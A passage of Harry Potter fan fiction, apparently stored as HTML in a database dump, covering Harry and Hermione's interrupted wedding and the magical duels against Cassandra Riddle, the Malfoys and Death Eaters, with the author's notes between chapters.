ready, and her three friends lifted her veil into place.</p>\n\n<p>Hermione looked at herself in the mirror, and her eyes almost glowed.&nbsp; She was really getting married.&nbsp; Remembering what she and Harry discussed, she double-checked that she had everything she need.&nbsp; Her wand was tucked between her breasts, and she had on very comfortable shoes.&nbsp; If and when the ceremony got ugly, she was gonna need to move around easily.</p>\n\n<p>&#8220;Okay, all done, girl,&#8221; Lavender said happily.</p>\n\n<p>Hermione stood up and hugged her friends.</p>\n\n<p>&#8220;You look great, Hermione,&#8221; Ginny said happily.</p>\n\n<p>&#8220;Harry&#8217;s gonna faint when he sees you,&#8221; Pavarati laughed.</p>\n\n<p>A knock on her dressing room door signaled that it was time for the ceremony to begin.&nbsp; Sirius was waiting outside, and he smiled approvingly.</p>\n\n<p>&#8220;Hermione, you look lovely; that godson of mine is going to have coronary when he sees you,&#8221; he chuckled, and she blushed.</p>\n\n<p>&#8220;All right, let&#8217;s get this show on the road!&#8221;</p>\n\n<p>Harry&#8217;s eyes were scanning every which way as he heard the music begin.&nbsp; His battle senses kicked into overdrive, and he waited for any attack.</p>\n\n<p>The wedding party made their way through the gates.&nbsp; The bridesmaids headed down the aisle with Pavarati, Ginny, and then Lavender.&nbsp; Ron smiled appreciatively at how beautiful she looked in her dress.&nbsp; The music changed to the wedding march, and everyone turned towards the back.&nbsp; Sirius appeared with Hermione on his arm, and Harry felt his heart throb when he saw her.&nbsp; She was devastatingly beautiful, and he was going to tell her that for the rest of their lives.</p>\n\n<p>Hermione smiled as she saw Harry waiting for her.&nbsp; He looked wonderful standing there in his wedding robes.&nbsp; They were black like his class robes, but these were a little more elegant and form fitting than school robes.&nbsp; She kept her eyes on him the entire time; she was positive that she&#8217;d floated down the aisle.</p>\n\n<p>The pair approached the altar, and Harry stepped forward.&nbsp; Sirius offered him Hermione&#8217;s hand, and he took it happily.&nbsp; Giving his godson a wide grin, Sirius backed away and moved next to Ron.&nbsp; Harry brought her hand to his lips and kissed it, making Hermione&#8217;s cheeks tint slightly.&nbsp; Dumbledore then stepped forward.</p>\n\n<p>&#8220;Friends&#8230;we are brought together today to celebrate a most joyous occasion.&nbsp; It is my privilege to preside over the marriage of Harry Potter and Hermione Granger.&#8221;</p>\n\n<p>&#8220;That won&#8217;t be necessary!&#8221; a voice called out.&nbsp; Harry had a split second to react.</p>\n\n<p>&#8220;Hermione&#8230;move!&#8221;</p>\n\n<p>The couple barely rolled out of the way before the area where they&#8217;d been standing exploded upwards.&nbsp; Harry had Hermione pressed against his chest and opened his eyes.&nbsp; She wasn&#8217;t hurt, but the crowd was screaming in shock.&nbsp; He knew the voice that he&#8217;d heard and quickly helped his fianc&#233; to her feet.</p>\n\n<p>&#8220;It&#8217;s time, Herm, let&#8217;s go!&#8221;</p>\n\n<p>Harry drew out his wand, and Hermione pulled hers out of her gown.&nbsp; A quick flick of her wrist, and she was wearing her normal school robes.</p>\n\n<p>&#8220;Where are you, Cassandra?&#8221; Harry growled.</p>\n\n<p>The blonde removed her charm and suddenly appeared behind the altar; she&#8217;d been standing there the entire time!&nbsp; She had an arrogant smirk on her face, and her eyes were laughing at the couple.</p>\n\n<p>&#8220;Sorry to put a damper on your wedding plans, but I just couldn&#8217;t let my Harry marry such an ugly bookworm!&#8221;</p>\n\n<p>Hermione saw red!</p>\n\n<p>&#8220;Shut-up!&nbsp; First of all, I&#8217;m not an ugly bookworm, and second, he&#8217;s not yours, you bitch!&#8221; she hissed.</p>\n\n<p>Harry grinned at the fire in her voice; she was seriously pissed!&nbsp; Dumbledore was evacuating the guests back inside Hogwarts, and Harry nodded at his actions.</p>\n\n<p>&#8220;All right, Cassandra, no more games; it&#8217;s time we finish this,&#8221; Harry stated.</p>\n\n<p>&#8220;Why Harry&#8230;can you honestly bring yourself to harm me?&#8221; she snickered.</p>\n\n<p>Hermione stepped in front of her fianc&#233;.</p>\n\n<p>&#8220;Who said that you&#8217;d be fighting, Harry?&#8221;</p>\n\n<p>&#8220;Oh, don&#8217;t make me laugh, I could swat you like a fly!&#8221;</p>\n\n<p>&#8220;I&#8217;m not as weak as you think I am,&#8221; Hermione growled.</p>\n\n<p>&#8220;If you&#8217;re talking about that little duel we had, don&#8217;t flatter yourself.&nbsp; I let you win!&#8221; Cassandra spat at her.</p>\n\n<p>&#8220;Why don&#8217;t we find out,&#8221; and Hermione raised her wand.</p>\n\n<p>&#8220;I would like to see that as well,&#8221; another voice called.</p>\n\n<p>Harry&#8217;s eyes snapped in its direction; he knew that voice!&nbsp; Just as he&#8217;d expected, from within the Dark Forest, Lucius Malfoy emerged with Draco by his side.&nbsp; Behind him, there were about twelve others &#8211; each wearing black robes, and hoods covered their faces.&nbsp; It was a group of Death Eaters.</p>\n\n<p>&#8220;Malfoy, I should have known you&#8217;d crawl out from somewhere,&#8221; Harry growled.</p>\n\n<p>&#8220;I&#8217;m merely here as an observer, Potter; I wish to see this duel play itself out.&nbsp; That bitch is on her own; I wouldn&#8217;t help her if my life depended on it.&#8221;</p>\n\n<p>&#8220;Oh&#8230;but Lucius&#8230;you have,&#8221; Cassandra laughed and pulled out the amulet he&#8217;d given her.&nbsp; The older man actually snickered.</p>\n\n<p>&#8220;You stupid girl, do you think I&#8217;d give you something that powerful; you&#8217;re not worth my trouble!&nbsp; That amulet is nothing but a fake,&#8221; he cackled insanely.</p>\n\n<p>Draco started laughing as well, but he was surprised to see that Cassandra didn&#8217;t seem surprised at all.</p>\n\n<p>&#8220;You are the one that is stupid, Lucius; you were tricked by your own plan.&nbsp; I know that this amulet is a fake&#8230;or is it?&#8221;</p>\n\n<p>Cassandra waved her wand over the amulet, and it transfigured into a glowing green orb.&nbsp; Lucius&#8217; eyes shot open, and he reached into his robes.&nbsp; Drawing out an identical orb, he watched in horror as it transfigured into the amulet he had given Cassandra.</p>\n\n<p>&#8220;Do you think you&#8217;re the only one who knows about this orb, Lucius?&nbsp; The Orb of Slytherin is a famous artifact from Salazar Slytherin himself; it contains powers that you could never imagine.&#8221;</p>\n\n<p>&#8220;Give that back to me, you thieving bitch!&#8221;</p>\n\n<p>Harry and Hermione stood watching as the two argued, and Harry leaned towards her.</p>\n\n<p>&#8220;Hermione, what is that thing anyway?&nbsp; I think she called it the Orb of Slytherin.&#8221;</p>\n\n<p>&#8220;I&#8217;m not quite sure, Harry, but if I remember my history correctively, that is supposed to have belonged to Salazar Slytherin.&nbsp; It was supposed to be like an archive of his most powerful magic; it was said to enhance any wizard&#8217;s magic up to ten times that of normal.&nbsp; However, no one has been able to use it; everyone who has tried was kill instantly by its magic.&#8221;</p>\n\n<p>&#8220;I must thank you for obtaining this for me, Malfoy; it is most appreciated,&#8221; Cassandra sneered.&nbsp; Lucius immediately drew his wand.</p>\n\n<p>&#8220;You backstabbing whore!&nbsp; I should send you to right this minute, but I&#8217;m going to make you suffer first!&nbsp; That orb&#8217;s power will be mine; I&#8217;m the only one who can wield it!&#8221;</p>\n\n<p>&#8220;You demented fool, you know nothing.&nbsp; If you tried to use this orb, it would kill you instantly.&nbsp; The only person who can wield its power must be a descendant of Salazar Slytherin himself.&nbsp; That person&#8230;is me!&#8221;</p>\n\n<p>Lucius Malfoy was shocked, and his son&#8217;s jaw was hanging wide open.&nbsp; It couldn&#8217;t be; this wench was descended from the greatest wizard in Slytherin.</p>\n\n<p>&#8220;An interesting tale, my dear, but I don&#8217;t believe a word you say.&nbsp; There&#8217;s no way you could be related to the great Salazar Slytherin; his last known heir was Voldemort himself, and Potter destroyed him last year.&#8221;</p>\n\n<p>Harry felt it was time to make his presence known once more.</p>\n\n<p>&#8220;Hold on, Malfoy, you&#8217;re slightly misinformed.&#8221;</p>\n\n<p>&#8220;Shut-up, boy, or I will kill you first!&#8221;</p>\n\n<p>&#8220;You just don&#8217;t get it, Malfoy.&nbsp; Cassandra Cross may be her current name, but that is not her true name&#8230;&#8221;</p>\n\n<p>The blonde smirked at Harry&#8217;s words but remained silent.&nbsp; Hermione stared at her fianc&#233; in shock.</p>\n\n<p>&#8220;Harry&#8230;what are you saying?&#8221;</p>\n\n<p>The young wizard took a deep breath and prepared his next few words.</p>\n\n<p>&#8220;Her name is&#8230;Cassandra&#8230;Alundria&#8230;Riddle!&#8221;</p>\n\n<p>Author&#8217;s Notes:&nbsp; All right, I know it was short chapter, but I must end it here.&nbsp; That battle begins in the next chapter, and it&#8217;s gonna get messy.&nbsp; I thought about things recently, and I decided that I&#8217;d like to see some fanart for my trilogy.&nbsp; I suck at drawing, but if any of you would like to create something, please let me know.&nbsp; Thanks.</p> '),
	(244, 20, ' <p>It took several seconds for Harry&#8217;s words to sink into everyone&#8217;s brains.&nbsp; Hermione&#8217;s hand covered her mouth to keep from gasping, while Malfoy looked on with a detesting sneer.</p>\n\n<p>&#8220;So&#8230;that&#8217;s who you are; you&#8217;re related to the great Voldemort himself, is that it?&#8221; Lucius asked.</p>\n\n<p>Cassandra smirked, and the orb in her hand glowed brighter.</p>\n\n<p>&#8220;That is correct.&nbsp; Voldemort was my grandfather.&nbsp; My mother was conceived during a short relationship between Tom Riddle and another woman.&nbsp; The relationship did not last long, but it lasted long enough for her to be born.&nbsp; My mother died when I was baby, but she left me a diary telling me everyone about where I had come from.&nbsp; When I was adopted by wizards, I became aware that I had great power.&nbsp; Then, when I had heard that Voldemort had been revived, I wished to meet my grandfather in person.&nbsp; When I heard that Harry Potter had destroyed him, I became fascinated by him.&nbsp; How could a boy defeat such a powerful wizard?&nbsp; As soon as I heard that my foster parents were being transferred to London, everything fell into place.&#8221;</p>\n\n<p>&#8220;So, what exactly do you want, Cassandra?&#8221; Harry asked with hard eyes.</p>\n\n<p>&#8220;Thank you for asking, Harry.&nbsp; Originally, I came here for you, my dear; I wanted you more than anything else in the world.&nbsp; I wanted the wizard that had shown such power as to destroy my grandfather.&nbsp; Then, I saw that you were involved with that bushy-haired, little bitch&#8230;&#8221; Cassandra pointed directly at Hermione.</p>\n\n<p>&#8220;&#8230;and it made me furious.&nbsp; She doesn&#8217;t deserve to be near you, Harry; her magic barely even scratches the surface of what you and I possess.&nbsp; I could destroy her with a snap of my fingers, but I&#8217;m giving you one last chance.&nbsp; Will you be mine?&#8221; she asked with a sweet voice.</p>\n\n<p>&#8220;No, he won&#8217;t!&#8221; Hermione answered for him.&nbsp; Harry looked at her with a surprised but amused expression; she was seriously pissed.&nbsp; Hermione sent a deadly glare towards the blonde and squared her shoulders.</p>\n\n<p>&#8220;Cassandra, you talk too much, but I guess that&#8217;s all you can do.&nbsp; After all, Harry has barely noticed you the entire year hasn&#8217;t he?&nbsp; I can see why you want him though.&#8221;</p>\n\n<p>Hermione turned and made Harry blush at the hungry look she was giving him.&nbsp; Oh yeah, she was acting like a bitch, but her patience was at an end.&nbsp; Turning back towards Cassandra, she smirked confidently.</p>\n\n<p>&#8220;You underestimate me, Cassandra; I&#8217;m not such a helpless, little girl.&nbsp; Besides, I have a part of Harry that you could never own.&#8221;</p>\n\n<p>&#8220;And what would that be?&#8221; the blonde replied angrily.</p>\n\n<p>&#8220;His heart.&nbsp; Not to mention the fact that I&#8217;ve also spent many a night in Harry&#8217;s bed.&#8221;</p>\n\n<p>Now, that really got to Cassandra!</p>\n\n<p>&#8220;You what?&#8221; she growled, and Hermione went in for the kill.</p>\n\n<p>&#8220;Don&#8217;t look so surprised?&nbsp; We&#8217;ve been lovers long before you showed up; nothing will break us apart &#8211; not Voldemort and not you!&#8221;</p>\n\n<p>Harry smiled at her words; she was truly amazing.&nbsp; He&#8217;d been hoping that their training had built up her confidence, and he had been right.</p>\n\n<p>&#8220;Hermione&#8230;you sure about this?&#8221; he asked.</p>\n\n<p>&#8220;Yes, this is my fight, Harry; yours is with them,&#8221; and she pointed to Malfoy and the Death Eaters.</p>\n\n<p>&#8220;All right, Herm, but be careful.&#8221;</p>\n\n<p>&#8220;Same goes for you.&#8221;</p>\n\n<p>Harry regretfully left her side and went to face Lucius.</p>\n\n<p>&#8220;Malfoy, don&#8217;t you ever get tired of losing?&#8221; Harry growled as he faced the group of Death Eaters.</p>\n\n<p>&#8220;Potter, you won by mere chance last time; you surprised me but nothing more.&nbsp; Now that I&#8217;ve seen you in action, I know exactly how to fight you.&#8221;</p>\n\n<p>&#8216;He doesn&#8217;t know everything,&#8217; Harry said silently.</p>\n\n<p>&#8220;Malfoy, you couldn&#8217;t beat Harry on his worst day,&#8221; a familiar redhead shouted.</p>\n\n<p>The young wizard turned to see Ron, Lavender, Dumbledore, Sirius, and Remus approaching him.</p>\n\n<p>&#8220;Ron&#8230;what are you&#8230;&#8221;</p>\n\n<p>&#8220;Ah come on, pal, you didn&#8217;t think I&#8217;d let you have all the fun this time, did you?&#8221; his best friend chuckled.</p>\n\n<p>&#8220;He&#8217;s right; we&#8217;re gonna help you this time,&#8221; Lavender said firmly, &#8220;and I foresee that we&#8217;re gonna kick some serious butt!&#8221;</p>\n\n<p>&#8220;You are not alone in this fight, Harry,&#8221; Dumbledore said with a slight smile.</p>\n\n<p>&#8220;Absolutely, James would never forgive me if I didn&#8217;t help you out,&#8221; Sirius chuckled.</p>\n\n<p>Harry smiled warmly at his friends and turned back to his opponent.&nbsp; Closing his eyes, he took a deep breath, and it was almost like he flipped a switch inside himself.&nbsp; He changed from a kind, young man into a battle-hardened wizard.&nbsp; His green eyes locked onto Lucius Malfoy and nearly bored a hole through his brain.</p>\n\n<p>&#8220;All right, Malfoy, let&#8217;s finish this&#8230;once and for all!&#8221; and he raised his wand.</p>\n\n<p>&#8220;I couldn&#8217;t agree more, and as I promised so long ago, you are going to meet the same, sticky end as your parents,&#8221; and he drew his wand out of his staff.</p>\n\n<p>&#8220;I&#8217;ll handle Draco,&#8221; Ron stated and walked over in front of his worst enemy.</p>\n\n<p>&#8220;Weasley, how good of you come.&nbsp; Do you really think that you can match wands with me?&nbsp; Do you how pathetic you are?&#8221; he sneered.</p>\n\n<p>&#8220;We&#8217;ll just see, won&#8217;t we.&nbsp; As the saying goes, it&#8217;s time to put your money where your mouth is!&#8221;</p>\n\n<p>Draco and the Death Eaters spread out to surround Ron and the others, leaving Harry and Lucius by themselves.</p>\n\n<p>Meanwhile, Cassandra and Hermione were readying themselves for battle.&nbsp; Hermione clutched her wand tightly, and her mind went into hyperspeed.</p>\n\n<p>&#8216;You can do this, Hermione.&#8217;</p>\n\n<p>Cassandra launched her first spell, and the fight was underway!</p>\n\n<p>Hermione barely had enough time to cast a barrier before a hoard of fiery arrows reached her.&nbsp; They deflected off her shield and evaporated into the air.&nbsp; She countered by casting a wind spell that pushed Cassandra back on her heels.</p>\n\n<p>&#8220;Hmm, impressive power, Mudblood, but nothing compared to me.&#8221;</p>\n\n<p>&#8220;I&#8217;m just warming up, Cassandra.&#8221;</p>\n\n<p>&#8220;Well then, let&#8217;s continue.&#8221;</p>\n\n<p>&#8220;Expelliarmus!&#8221;</p>\n\n<p>Hermione threw her disarming charm, but Cassandra levitated up into the air and avoided it.&nbsp; She countered with her own charm, and Hermione was suddenly face down on the ground.</p>\n\n<p>&#8220;Uh&#8230;what have you done to me?&#8221; she groaned, and Cassandra laughed.</p>\n\n<p>&#8220;You stupid girl, you should know; I just magnified your body weight by ten times; you are completely helpless!&#8221;</p>\n\n<p>The blonde landed back on the ground and pointed her wand at the earth.&nbsp; The ground rumbled below her, and a large chunk of rock appeared in front of her.</p>\n\n<p>&#8220;Sorry, bookworm, but this was just too easy!&#8221; and she flung the boulder towards Hermione.</p>\n\n<p>She struggled to move her wand, but her limbs felt like lead weights.&nbsp; No, the only way to escape was to cast a charm without her wand.&nbsp; Concentrating her thoughts, she focused her mind.</p>\n\n<p>&#8220;Dispel Terminus!&#8221;</p>\n\n<p>Her body returned to normal, and she just missed the boulder as she rolled to the side.&nbsp; She slowly got up and wiped a small trail of blood off her lip.</p>\n\n<p>&#8220;It won&#8217;t be that easy, Cassandra,&#8221; she spat.</p>\n\n<p>&#8220;Hmmph, perhaps you do have some talent after all.&#8221;</p>\n\n<p>Hermione just glared at her.</p>\n\n<p>Nearby, Harry and Lucius&#8217; duel was well underway.&nbsp; The two traded blow for blow and charm for charm.&nbsp; It looked like their previous duel from last year, but Lucius&#8217; expression was much more serious.</p>\n\n<p>&#8220;Take this!&#8221; and the ground exploded below Harry.</p>\n\n<p>The young wizard was thrown back, but righted himself in midair, and countered with the exact same spell.&nbsp; Lucius rose into the air as well, and their duel was suddenly airborne.&nbsp; Their spells collided one after the other, but they always cancelled each other out.</p>\n\n<p>Harry fired a miniature cyclone at his opponent, but Lucius dispersed it off into thin air.</p>\n\n<p>&#8220;Looks like we&#8217;re about even,&#8221; Harry chuckled.</p>\n\n<p>&#8220;Hmmph, indeed, but why don&#8217;t we dispense with the child&#8217;s play and get down to business,&#8221; Lucius snickered.</p>\n\n<p>&#8220;I couldn&#8217;t agree more!&#8221;</p>\n\n<p>They cast their spells, and the sky lit up as their duel continued.</p>\n\n<p>Ron and Draco stared each other down as they circled one another.</p>\n\n<p>&#8220;Don&#8217;t worry, Weasley, I won&#8217;t hurt you too much.&nbsp; So why don&#8217;t we cut to the chase; you don&#8217;t stand a chance!&#8221;</p>\n\n<p>&#8220;Yak&#8230;yak&#8230;yak&#8230;do something else for once, will ya?&#8221;</p>\n\n<p>&#8220;How about this?&nbsp; Terranos Enwraptor.&#8221;</p>\n\n<p>Underneath Ron&#8217;s feet, huge vines burst out of the ground and wrapped around his body.&nbsp; Ron fought to break free, but his physical strength just wasn&#8217;t enough.</p>\n\n<p>&#8220;Struggle all you want, Weasley, but you won&#8217;t escape those vines; now, it&#8217;s time to finish you off.&#8221;</p>\n\n<p>Lavender saw what happened to Ron, and her heart clenched in terror.&nbsp; She watched as Draco raised his wand and aimed for her beloved.</p>\n\n<p>&#8220;Ron!&#8221; she gasped and ran towards him.</p>\n\n<p>Malfoy heard her scream and turned his head.&nbsp; He smiled evilly and aimed his spell for Lavender instead of Ron.</p>\n\n<p>&#8220;Leave her alone!&#8221; the redhead shouted as he saw Malfoy&#8217;s plan.</p>\n\n<p>&#8220;Lavender, look out!&#8221; but it was too late.</p>\n\n<p>&#8220;Crucio!&#8221;</p>\n\n<p>Lavender dropped to the ground writhing in pain.&nbsp; It felt like razors were cutting her apart from the inside out, and she screamed in agony.</p>\n\n<p>&#8220;Malfoy!&#8221; Ron growled and tugged violently at his restraints.&nbsp; He managed to free his right arm and aimed his wand at Draco.</p>\n\n<p>&#8220;She had that coming I&#8217;m afraid; women shouldn&#8217;t butt in where they&#8217;re not wanted.&#8221;</p>\n\n<p>&#8220;You bastard, I&#8217;m going to make you pay!&#8221;</p>\n\n<p>&#8220;What can you do in your current state, Weasley?&nbsp; As I said, you&#8217;re truly pathetic; all you&#8217;ve been is Potter&#8217;s lackey.&nbsp; I&#8217;m going to put you out of your misery.&#8221;</p>\n\n<p>Malfoy raised his wand, and bolts of lightning spark at the end of it.</p>\n\n<p>Ron gulped loudly; he needed a plan&#8230; now!&nbsp; Then an idea came to him; he&#8217;d seen Harry pull it off so why couldn&#8217;t he?&nbsp; It wasn&#8217;t that hard, and it would take Draco completely off guard.</p>\n\n<p>&#8220;Do your worst, you son of a bitch!&#8221;</p>\n\n<p>&#8220;Ramusorte!&#8221;</p>\n\n<p>The lightning flashed out of Malfoy&#8217;s wand, and it headed straight for Ron.&nbsp; The redhead had a single second to act.</p>\n\n<p>&#8220;Mirago!&#8221; he chanted softly and touched one of the vines.&nbsp; Since the attack would hit the vines just before him, he concentrated his spell there.</p>\n\n<p>&#8220;Goodbye, Weasley!&#8221; Malfoy laughed.</p>\n\n<p>The lightning struck, but it made an unexpected u-turn and reflected back towards Draco.&nbsp; The blonde, young man screamed as he was hit with his own attack, and it sent several thousand volts of electricity through his body.</p>\n\n<p>Ron smiled at his handiwork; his reflection spell had worked.&nbsp; While Malfoy was clearly out of it, he quickly followed up.</p>\n\n<p>&#8220;Stupefy!&#8221;</p>\n\n<p>Draco hit ground twitching from the electric shock, and Ron cast a full binding spell to put him out of commission.</p>\n\n<p>Since Malfoy was rendered unconscious, the vines surrounding Ron fell off and dropped to the ground.&nbsp; He breathed a sigh of relief and ran over to check on Lavender.</p>\n\n<p>&#8220;Lavender!&#8221; he pleaded as he reached her battered from.&nbsp; Cradling her body in his arms, he pressed her against his chest.</p>\n\n<p>&#8220;Please&#8230;please wake up&#8230;I need you,&#8221; he said with tears in his eyes.</p>\n\n<p>Slowly, her eyes opened, and she saw his kind face.</p>\n\n<p>&#8220;Hey loverboy, did I miss anything?&#8221; she choked out.&nbsp; Ron immediately kissed her and clutched her body closer.</p>\n\n<p>Lavender moaned in slight pain, but she heartily returned his kiss.&nbsp; Ron leaned back and stared in her beautiful, blue eyes.</p>\n\n<p>&#8220;I thought I&#8217;d almost lost you.&nbsp; Oh gosh&#8230;Lavender&#8230;I love you.&#8221;</p>\n\n<p>The words poured out from his heart, and her smile widened.</p>\n\n<p>&#8220;I know, Ron, I love you too.&#8221;</p>\n\n<p>He kissed her once again and didn&#8217;t let go for a long time.</p>\n\n<p>Harry and Lucius had really picked up the pace and were throwing high-powered spells one after the other.&nbsp; Harry dodged an incoming meteor shower that Lucius flung at him, but he knew that he just couldn&#8217;t play defense all day.&nbsp; He could end this quickly if he used the phoenix inside him, but he needed to save that just in case.&nbsp; He had to admit that Lucius had improved since last year; he was being completely serious in this fight.&nbsp; However, Harry had more tricks than the phoenix, and the one he was thinking of would do quite nicely.&nbsp; In fact, he was going to enjoy it.</p>\n\n<p>Lucius returned to the ground as Harry dodged the last falling stone and growled in frustration.&nbsp; Dammit, why couldn&#8217;t he defeat this annoying brat?&nbsp; Very well, if he had to use his most powerful spell, then so be it.</p>\n\n<p>Raising his wand, Lucius chanted the words silently, and wind swirled around the tip of his wand.&nbsp; In his left hand, a fireball appeared, and he lowered both his arms in front of his chest.&nbsp; Bringing his hand and wand together, the wind and fire merged into a glowing orb.&nbsp; From the sky above, lightning came down and joined the other elements within the sphere.&nbsp; At his feet, earth rose up and merged into the glowing ball.</p>\n\n<p>Harry watched with utter fascination as Lucius prepared his attack.&nbsp; He could tell the older man wasn&#8217;t messing around because he was gritting his teeth from the strain.&nbsp; Yes, this would be the perfect time to try his idea; Lucius wouldn&#8217;t be able to react after he cast that spell.</p>\n\n<p>&#8220;Now, Potter, taste my most powerful spell&#8230;Elementante Aradicto!&#8221;</p>\n\n<p>A large, multi-colored beam exploded outward from Lucius Malfoy and aimed directly for Harry Potter.</p>\n\n<p>&#8216;That&#8217;s it&#8230;just a little closer&#8230;a little closer&#8230;&#8217;</p>\n\n<p>Harry pretended to erect a barrier to protect himself, and Malfoy just laughed.</p>\n\n<p>&#8220;No barrier can save you this time, boy!&#8221;</p>\n\n<p>Harry cast one anyway, and the massive spell slammed into it.&nbsp; It gave him the split second he needed; Harry disapparated just as the spell exploded.</p>\n\n<p>&#8220;Ha&#8230;ha&#8230;ha&#8230;at last&#8230;the great Harry Potter is dead!&#8221;</p>\n\n<p>Lucius was breathing heavy from using that spell, but he&#8217;d finally put an end to that annoying young man.</p>\n\n<p>All of a sudden, Harry appeared directly in front of him, and his eyes widened his utter horror.&nbsp; Harry wasn&#8217;t going to use magic.&nbsp; Instead, he was going to do something he&#8217;d wanted to do for six years.</p>\n\n<p>With everything he had, Harry slammed his fist into Malfoy&#8217;s stomach, and the dark wizard gasped as he coughed raggedly.&nbsp; Harry followed up with a vicious, right cross that knocked Lucius flat on his ass.</p>\n\n<p>&#8220;Expelliarmus!&#8221; and Malfoy&#8217;s wand flew out of his hand.</p>\n\n<p>&#8220;Petrificas Totales,&#8221; and his body dropped to the ground motionless.</p>\n\n<p>Harry smiled slightly.&nbsp; He had to admit; that had felt damn good!&nbsp; However, he had to go check on his friends&#8230;and more importantly, Hermione!</p>\n\n<p>Ron scooped Lavender up into his arms just as he saw Harry running towards him.</p>\n\n<p>&#8220;Ron, you two all right?&#8221;</p>\n\n<p>&#8220;Yeah, Harry, we&#8217;re okay.&nbsp; Weak, but fine.&#8221;</p>\n\n<p>&#8220;What about Dumbledore&#8230;and Sirius?&#8221;</p>\n\n<p>&#8220;Not to worry, Harry,&#8221; Sirius stated as he, Dumbledore, and Remus approached them.</p>\n\n<p>&#8220;Those Death Eaters were barely a challenge.&#8221;</p>\n\n<p>&#8220;Indeed, it was quite simple,&#8221; Dumbledore added.</p>\n\n<p>&#8220;We left them petrified up against a tree; that&#8217;ll hold them for a while,&#8221; Remus finished.</p>\n\n<p>&#8220;I&#8217;m glad that all of you are okay,&#8221; Harry said in relief.</p>\n\n<p>&#8220;Don&#8217;t worry about us, pal, go check on Hermione; she needs you!&#8221; Ron ordered.</p>\n\n<p>&#8220;Yeah, I&#8217;ll see you soon.&#8221;</p>\n\n<p>Hermione was at her limit.&nbsp; Her body was tired, and her limbs were heavy.&nbsp; She&#8217;d gotten careless, and she&#8217;d taken a flying rock directly in the left ribs.&nbsp; When Lucius had screamed that he&#8217;d killed Harry, she immediately looked over to check if it was true.&nbsp; As a result, she probably had several cracked if not broken ribs right now.&nbsp; She staggered back as Cassandra stalked towards her.</p>\n\n<p>&#8220;I&#8217;ve got to hand it to you, Mudblood, you&#8217;ve lasted a lot longer that I thought you would, considering I&#8217;ve been using the Orb of Slytherin the entire duel,&#8221; she laughed.</p>\n\n<p>&#8220;You cheating bitch, you would&#8217;ve lost without that thing,&#8221; Hermione spat.</p>\n\n<p>&#8220;You may be right, but I don&#8217;t care how I win so long as I do.&#8221;</p>\n\n<p>&#8220;I won&#8217;t lose to you.&#8221;</p>\n\n<p>&#8220;You have no choice&#8230;Expelliarmus!&#8221;</p>\n\n<p>Hermione was thrown onto her back, and she cried out in pain as her bruised ribs hit the ground first.&nbsp; She struggled to get up, but her body was bruised and beaten.&nbsp; She could barely move her fingers much less her arms.</p>\n\n<p>&#8220;Hermione!&#8221; a familiar voice called.&nbsp; She saw Harry racing towards her, and her heart swelled with hope.</p>\n\n<p>&#8220;Ah, he&#8217;s coming to save you, but he&#8217;ll be too late,&#8221; Cassandra seethed.&nbsp; She pointed her wand directly at Hermione and smiled evilly.</p>\n\n<p>&#8220;Join your parents, Mudblood&#8230;Avada Kedavra!&#8221;</p>\n\n<p>Hermione couldn&#8217;t even scream as she heard those deadly words, and she futilely raised her hands out front to protect her.&nbsp; The billow of green smoke hit, but it stopped in its tracks.</p>\n\n<p>&#8220;What is this?&#8221; Cassandra demanded, &#8220;Why aren&#8217;t you dying?&#8221;</p>\n\n<p>Hermione couldn&#8217;t believe she was alive, but then, she saw her hands glowing.&nbsp; More specifically, the rings on her left and right hand were glowing; the same two rings that Harry had given her.&nbsp; The two stones were practically resonating with one another.&nbsp; A wave of magical energy pulsed out from the two gems and threw Cassandra back onto the ground.</p>\n\n<p>&#8220;What have you done, Mudblood?&#8221;</p>\n\n<p>Hermione honestly didn&#8217;t know.</p>\n\n<p>The energy did not dissipate but instead hovered in front of Hermione, and suddenly, letters were spelled out in midair.&nbsp; Their message was a single phrase:</p>\n\n<p>&#8216;None shall harm you while love is around.&#8217;</p>\n\n<p>Hermione&#8217;s eyes were filled with tears as she realized that Harry had protected her; actually, his love had protected her.</p>\n\n<p>Harry felt his heart shatter when he saw the spell that Cassandra cast on Hermione, but it reformed itself when he saw her protected by the two rings he&#8217;d given her.&nbsp; He&#8217;d had half that phrase engraved on the inside of each ring, and he&#8217;d poured all of his love into those two, simple bands.&nbsp; They had protected his love.</p>\n\n<p>&#8220;Hermione!&#8221; he gasped as he finally reached her.&nbsp; She hugged him desperately as the glowing letters faded off into nothingness.</p>\n\n<p>&#8220;How&#8230;how could this happen?&#8221; Cassandra hissed as she staggered to her feet.</p>\n\n<p>&#8220;How did that nosy, little bookworm survive the deadliest curse of all?&#8221;</p>\n\n<p>Harry pressed Hermione against his chest and stroked her hair.</p>\n\n<p>&#8220;You just don&#8217;t understand, do you, Cassandra?&nbsp; Our love protected Hermione; our love wouldn&#8217;t allow you to kill her!&nbsp; The same reason why Voldemort couldn&#8217;t kill me; my mother&#8217;s love protected me!&#8221;</p>\n\n<p>&#8220;That&#8217;s absurd; nothing can defeat the power that I hold.&#8221;</p>\n\n<p>She raised the orb, and magic began to spill out of the sphere.&nbsp; It surrounded Cassandra, and she began laughing.</p>\n\n<p>&#8220;I will destroy the both of you at once; you will both die by my hand &#8211; just as her parents did!&#8221;</p>\n\n<p>Harry smirked and lifted Hermione into his arms.</p>\n\n<p>&#8220;I&#8217;ve got news for you, Cassandra, Hermione&#8217;s parents are very much alive.&nbsp; That house you saw destroyed was nothing but an illusion created by me.&#8221;</p>\n\n<p>&#8220;You lying, bastard, I watched that house turn into an inferno; they were burned alive!&#8221;</p>\n\n<p>&#8220;What you saw was exactly what I wanted you to see,&#8221; Harry replied.&nbsp; His smile grew, and he clutched Hermione to his chest.</p>\n\n<p>&#8220;Sweetheart, are you all right?&#8221; She nuzzled her cheek against his chest.</p>\n\n<p>&#8220;I&#8217;m fine, Harry, just finish her!&#8221;</p>\n\n<p>&#8220;Cassandra&#8230;allow me to introduce you to what you saw that day&#8230;&#8221;</p>\n\n<p>&#8220;And what is that?&#8221; she asked with an arrogant drawl.</p>\n\n<p>&#8220;It was the very last thing Voldemort saw before he died.&#8221;</p>\n\n<p>Harry closed his eyes and unleashed his true power.</p>\n\n<p>The confident smile that adorned Cassandra&#8217;s face disappeared in an instant as she saw a giant firebird surround and engulf Harry and Hermione.</p>\n\n<p>&#8220;What in the hell is that?&#8221;</p>\n\n<p>&#8220;PHOENIX RISE!&#8221; Harry shouted, and the mighty bird let out a shriek as its master summoned it.</p>\n\n<p>&#8220;Cassandra&#8230;&#8221; Harry growled with fire blazing in his eyes.</p>\n\n<p>&#8220;&#8230;This ends here!&#8221;</p>\n\n<p>Author&#8217;s Notes:&nbsp; All right, the battle chapter is finally up.&nbsp; Man, this took a long time to 